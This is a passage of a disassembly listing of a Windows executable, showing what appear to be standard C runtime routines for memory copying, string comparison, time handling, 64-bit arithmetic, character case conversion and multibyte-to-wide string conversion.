		dd offset loc_419C8C
		dd offset loc_419C94
		dd offset loc_419C9C
		dd offset loc_419CA4
		dd offset loc_419CAC
		dd offset loc_419CB4
off_419C80	dd offset loc_419CC7	; DATA XREF: sub_4199F0+1C2r
; ---------------------------------------------------------------------------


loc_419C84:				; DATA XREF: sub_4199F0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_419C8C:				; DATA XREF: sub_4199F0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_419C94:				; DATA XREF: sub_4199F0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_419C9C:				; DATA XREF: sub_4199F0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_419CA4:				; DATA XREF: sub_4199F0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_419CAC:				; DATA XREF: sub_4199F0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_419CB4:				; DATA XREF: sub_4199F0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_419CC7:				; CODE XREF: sub_4199F0+1C2j
					; DATA XREF: sub_4199F0:off_419C80o
		jmp	off_419CD0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_419CD0	dd offset loc_419CE0	; DATA XREF: sub_4199F0+1B7r
					; sub_4199F0:loc_419BD4r ...
		dd offset loc_419CE8
		dd offset loc_419CF8
		dd offset loc_419D0C
; ---------------------------------------------------------------------------


loc_419CE0:				; CODE XREF: sub_4199F0+1B7j
					; sub_4199F0:loc_419BD4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_419CE8:				; CODE XREF: sub_4199F0+1B7j
					; sub_4199F0:loc_419BD4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_419CF8:				; CODE XREF: sub_4199F0+1B7j
					; sub_4199F0:loc_419BD4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_419D0C:				; CODE XREF: sub_4199F0+1B7j
					; sub_4199F0:loc_419BD4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_4199F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_419D25	proc near		; CODE XREF: sub_40C78C+34p
					; sub_40C78C+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_418247
		pop	ecx
		pop	ecx
		retn
sub_419D25	endp


; =============== S U B	R O U T	I N E =======================================



sub_419D33	proc near		; CODE XREF: sub_419DA0+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DE41C
		call	sub_41F1E8
		mov	edx, dword_4DE41C
		pop	ecx
		mov	ecx, dword_4DE418
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_419D92
		push	edx
		call	sub_41F1E8
		add	eax, 10h
		push	eax
		push	dword_4DE41C
		call	sub_417F62
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_419D75
		retn
; ---------------------------------------------------------------------------


loc_419D75:				; CODE XREF: sub_419D33+3Fj
		mov	ecx, dword_4DE418
		sub	ecx, dword_4DE41C
		mov	dword_4DE41C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DE418, ecx


loc_419D92:				; CODE XREF: sub_419D33+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DE418, 4
		retn
sub_419D33	endp


; =============== S U B	R O U T	I N E =======================================



sub_419DA0	proc near		; CODE XREF: sub_40C879+1Ap
					; sub_4233BE+5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_419D33
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_419DA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_419DB2	proc near		; DATA XREF: .nsp0:00426020o
		push	80h
		call	sub_418235
		test	eax, eax
		pop	ecx
		mov	dword_4DE41C, eax
		jnz	short loc_419DD3
		push	18h
		call	sub_41A609
		mov	eax, dword_4DE41C
		pop	ecx


loc_419DD3:				; CODE XREF: sub_419DB2+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DE41C
		mov	dword_4DE418, eax
		retn
sub_419DB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419DE1	proc near		; CODE XREF: sub_40CA12+1A3p

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_424138	; GetLocalTime
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_424190	; GetSystemTime
		mov	ax, [ebp+var_16]
		cmp	ax, word_4DCDE2
		jnz	short loc_419E46
		mov	ax, [ebp+var_18]
		cmp	ax, word_4DCDE0
		jnz	short loc_419E46
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4DCDDE
		jnz	short loc_419E46
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4DCDDA
		jnz	short loc_419E46
		mov	ax, [ebp+var_20]
		cmp	ax, word_4DCDD8
		jnz	short loc_419E46
		mov	eax, dword_4DCDD0
		jmp	short loc_419E8B
; ---------------------------------------------------------------------------


loc_419E46:				; CODE XREF: sub_419DE1+28j
					; sub_419DE1+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	dword_42418C	; GetTimeZoneInformation
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419E73
		cmp	eax, 2
		jnz	short loc_419E6F
		cmp	[ebp+var_32], 0
		jz	short loc_419E6F
		cmp	[ebp+var_24], 0
		jz	short loc_419E6F
		push	1
		pop	eax
		jmp	short loc_419E76
; ---------------------------------------------------------------------------


loc_419E6F:				; CODE XREF: sub_419DE1+7Aj
					; sub_419DE1+81j ...
		xor	eax, eax
		jmp	short loc_419E76
; ---------------------------------------------------------------------------


loc_419E73:				; CODE XREF: sub_419DE1+75j
		or	eax, 0FFFFFFFFh


loc_419E76:				; CODE XREF: sub_419DE1+8Cj
					; sub_419DE1+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4DCDD8
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4DCDD0, eax
		pop	esi


loc_419E8B:				; CODE XREF: sub_419DE1+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_41F249
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_419EBB
		mov	[ecx], eax

locret_419EBB:				; CODE XREF: sub_419DE1+D6j
		leave
		retn
sub_419DE1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419EC0	proc near		; CODE XREF: sub_40CA12+19p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4DCE2C
		cmp	dword ptr [eax+8], 0
		jnz	short loc_419F13
		mov	al, 0FFh
		mov	edi, edi


loc_419EDC:				; CODE XREF: sub_419EC0+28j
					; sub_419EC0+48j
		or	al, al
		jz	short loc_419F0E
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_419EDC
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_419EDC
		sbb	al, al
		sbb	al, 0FFh


loc_419F0E:				; CODE XREF: sub_419EC0+1Ej
		movsx	eax, al
		jmp	short loc_419F47
; ---------------------------------------------------------------------------


loc_419F13:				; CODE XREF: sub_419EC0+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_419F1C:				; CODE XREF: sub_419EC0+68j
					; sub_419EC0+80j
		or	al, al
		jz	short loc_419F47
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_419F1C
		push	eax
		push	ebx
		call	sub_41A32C
		mov	ebx, eax
		add	esp, 4
		call	sub_41A32C
		add	esp, 4
		cmp	bl, al
		jz	short loc_419F1C
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_419F47:				; CODE XREF: sub_419EC0+51j
					; sub_419EC0+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_419EC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_419F4C	proc near		; CODE XREF: sub_40D5AA+193p
					; sub_40D5AA+1DDp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, offset dword_43F878
		push	edi
		push	esi
		call	sub_41D026
		mov	edi, eax
		lea	eax, [esp+10h+arg_4]
		push	eax
		push	[esp+14h+arg_0]
		push	esi
		call	sub_41C27F
		push	esi
		push	edi
		mov	ebx, eax
		call	sub_41D0B3
		add	esp, 18h
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_419F4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_419F7D	proc near		; CODE XREF: sub_410CB3+26Ep
					; sub_410CB3+377p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_419FF9
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_419F9C
		cmp	edi, 1
		jz	short loc_419F9C
		cmp	edi, 2
		jnz	short loc_419FF9


loc_419F9C:				; CODE XREF: sub_419F7D+13j
					; sub_419F7D+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_419FB3
		push	esi
		call	sub_41F45E
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_419FB3:				; CODE XREF: sub_419F7D+27j
		push	esi
		call	sub_41A76B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_419FC8
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_419FDC
; ---------------------------------------------------------------------------


loc_419FC8:				; CODE XREF: sub_419F7D+42j
		test	al, 1
		jz	short loc_419FDC
		test	al, 8
		jz	short loc_419FDC
		test	ah, 4
		jnz	short loc_419FDC
		mov	dword ptr [esi+18h], 200h


loc_419FDC:				; CODE XREF: sub_419F7D+49j
					; sub_419F7D+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_41F3C4
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41A006
; ---------------------------------------------------------------------------


loc_419FF9:				; CODE XREF: sub_419F7D+Bj
					; sub_419F7D+1Dj
		mov	dword_4DCD74, 16h
		or	eax, 0FFFFFFFFh


loc_41A006:				; CODE XREF: sub_419F7D+7Aj
		pop	edi
		pop	esi
		retn
sub_419F7D	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41A010	proc near		; CODE XREF: sub_4118C8+19Ep
					; sub_41261D+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41A029
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41A029:				; CODE XREF: sub_41A010+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41A010	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A044	proc near		; CODE XREF: sub_4147F5+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	dword_424098	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41A064
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		call	sub_41CFBF
		pop	ecx


loc_41A060:				; CODE XREF: sub_41A044+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41A064:				; CODE XREF: sub_41A044+Dj
		test	al, 1
		jz	short loc_41A085
		test	[esp+arg_4], 2
		jz	short loc_41A085
		mov	dword_4DCD74, 0Dh
		mov	dword_4DCD78, 5
		jmp	short loc_41A060
; ---------------------------------------------------------------------------


loc_41A085:				; CODE XREF: sub_41A044+22j
					; sub_41A044+29j
		xor	eax, eax
		retn
sub_41A044	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41A090	proc near		; CODE XREF: sub_41480F+3Fp
					; sub_417909+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41A0B2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41A0F3
; ---------------------------------------------------------------------------


loc_41A0B2:				; CODE XREF: sub_41A090+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41A0C0:				; CODE XREF: sub_41A090+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41A0C0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41A0EE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41A0EE
		jb	short loc_41A0EF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41A0EF


loc_41A0EE:				; CODE XREF: sub_41A090+4Ej
					; sub_41A090+54j
		dec	esi


loc_41A0EF:				; CODE XREF: sub_41A090+56j
					; sub_41A090+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41A0F3:				; CODE XREF: sub_41A090+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41A090	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41A100	proc near		; CODE XREF: sub_41480F+2Dp
					; sub_417909+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41A121
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41A171
; ---------------------------------------------------------------------------


loc_41A121:				; CODE XREF: sub_41A100+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41A12F:				; CODE XREF: sub_41A100+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41A12F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41A15A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41A15A
		jb	short loc_41A162
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41A162


loc_41A15A:				; CODE XREF: sub_41A100+4Aj
					; sub_41A100+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41A162:				; CODE XREF: sub_41A100+52j
					; sub_41A100+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41A171:				; CODE XREF: sub_41A100+1Fj
		pop	ebx
		retn	10h
sub_41A100	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41A180	proc near		; CODE XREF: sub_41491E+5Fp
					; sub_41491E+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41A1A1
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41A1A1:				; CODE XREF: sub_41A180+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41A1BD
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41A1BD:				; CODE XREF: sub_41A180+27j
		or	eax, eax
		jnz	short loc_41A1D9
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41A21A
; ---------------------------------------------------------------------------


loc_41A1D9:				; CODE XREF: sub_41A180+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41A1E7:				; CODE XREF: sub_41A180+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41A1E7
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41A215
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41A215
		jb	short loc_41A216
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41A216


loc_41A215:				; CODE XREF: sub_41A180+85j
					; sub_41A180+8Bj
		dec	esi


loc_41A216:				; CODE XREF: sub_41A180+8Dj
					; sub_41A180+93j
		xor	edx, edx
		mov	eax, esi


loc_41A21A:				; CODE XREF: sub_41A180+57j
		dec	edi
		jnz	short loc_41A224
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41A224:				; CODE XREF: sub_41A180+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41A180	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A22A	proc near		; CODE XREF: sub_414F6D+1A3p

arg_0		= dword	ptr  4

		cmp	dword_43F494, 1
		jle	short loc_41A241
		push	4
		push	[esp+4+arg_0]
		call	sub_41C0F5
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41A241:				; CODE XREF: sub_41A22A+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43F288
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41A22A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A252	proc near		; CODE XREF: sub_41D0F0+76p
					; sub_41D0F0+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43F494, 1
		jle	short loc_41A269
		push	8
		push	[esp+4+arg_0]
		call	sub_41C0F5
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41A269:				; CODE XREF: sub_41A252+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43F288
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41A252	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41A280	proc near		; CODE XREF: sub_41536C+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41A2CC
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41A2CD
		test	eax, 1
		jz	short loc_41A2AD
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41A2FA
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41A2CA


loc_41A2AD:				; CODE XREF: sub_41A280+20j
					; sub_41A280+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41A2FA
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41A2FA
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41A2AD


loc_41A2CA:				; CODE XREF: sub_41A280+2Bj
					; sub_41A280+84j
		pop	edi
		pop	esi

locret_41A2CC:				; CODE XREF: sub_41A280+6j
		retn
; ---------------------------------------------------------------------------


loc_41A2CD:				; CODE XREF: sub_41A280+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41A302
		repe cmpsd
		jz	short loc_41A302
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41A2F5
		cmp	ch, dh
		jnz	short loc_41A2F5
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41A2F5
		cmp	ch, dh


loc_41A2F5:				; CODE XREF: sub_41A280+63j
					; sub_41A280+67j ...
		mov	eax, 0


loc_41A2FA:				; CODE XREF: sub_41A280+26j
					; sub_41A280+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A302:				; CODE XREF: sub_41A280+55j
					; sub_41A280+59j
		test	eax, eax
		jz	short loc_41A2CA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41A2F5
		dec	eax
		jz	short loc_41A329
		cmp	dh, ch
		jnz	short loc_41A2F5
		dec	eax
		jz	short loc_41A329
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41A2F5
		dec	eax


loc_41A329:				; CODE XREF: sub_41A280+8Fj
					; sub_41A280+96j
		pop	edi
		pop	esi
		retn
sub_41A280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A32C	proc near		; CODE XREF: sub_415683+6p
					; sub_4156A1+48p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DCE34, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41A359
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41A3F2
		cmp	eax, 5Ah
		jg	loc_41A3F2
		add	eax, 20h
		jmp	loc_41A3F2
; ---------------------------------------------------------------------------


loc_41A359:				; CODE XREF: sub_41A32C+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41A38D
		cmp	dword_43F494, esi
		jle	short loc_41A37B
		push	esi
		push	ebx
		call	sub_41C0F5
		pop	ecx
		pop	ecx
		jmp	short loc_41A385
; ---------------------------------------------------------------------------


loc_41A37B:				; CODE XREF: sub_41A32C+42j
		mov	eax, off_43F288
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41A385:				; CODE XREF: sub_41A32C+4Dj
		test	eax, eax
		jnz	short loc_41A38D


loc_41A389:				; CODE XREF: sub_41A32C+ADj
		mov	eax, ebx
		jmp	short loc_41A3F2
; ---------------------------------------------------------------------------


loc_41A38D:				; CODE XREF: sub_41A32C+3Aj
					; sub_41A32C+5Bj
		mov	edx, off_43F288
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41A3B1
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41A3BA
; ---------------------------------------------------------------------------


loc_41A3B1:				; CODE XREF: sub_41A32C+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41A3BA:				; CODE XREF: sub_41A32C+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DCE34
		call	sub_41F5B6
		add	esp, 20h
		test	eax, eax
		jz	short loc_41A389
		cmp	eax, esi
		jnz	short loc_41A3E5
		movzx	eax, [ebp+var_4]
		jmp	short loc_41A3F2
; ---------------------------------------------------------------------------


loc_41A3E5:				; CODE XREF: sub_41A32C+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41A3F2:				; CODE XREF: sub_41A32C+16j
					; sub_41A32C+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A32C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A3F7	proc near		; CODE XREF: sub_415CED+9Cp
					; sub_416C68+55p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41A40E


loc_41A404:				; CODE XREF: sub_41A3F7+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41A404


loc_41A40E:				; CODE XREF: sub_41A3F7+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41A3F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A414	proc near		; CODE XREF: sub_415CED+6Ep
					; sub_415CED+7Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41A4E1
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41A50E
		cmp	dword_4DCE34, esi
		jnz	short loc_41A465
		cmp	edi, esi
		jbe	loc_41A50E


loc_41A444:				; CODE XREF: sub_41A414+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41A50E
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41A444
		jmp	loc_41A50E
; ---------------------------------------------------------------------------


loc_41A465:				; CODE XREF: sub_41A414+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_424168
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DCE44
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_41A50D
		call	dword_42408C	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_41A49F


loc_41A490:				; CODE XREF: sub_41A414+CBj
					; sub_41A414+F7j
		mov	dword_4DCD74, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41A50E
; ---------------------------------------------------------------------------


loc_41A49F:				; CODE XREF: sub_41A414+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41A4A7:				; CODE XREF: sub_41A414+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41A4C9
		mov	edx, off_43F288
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41A4BE
		inc	eax


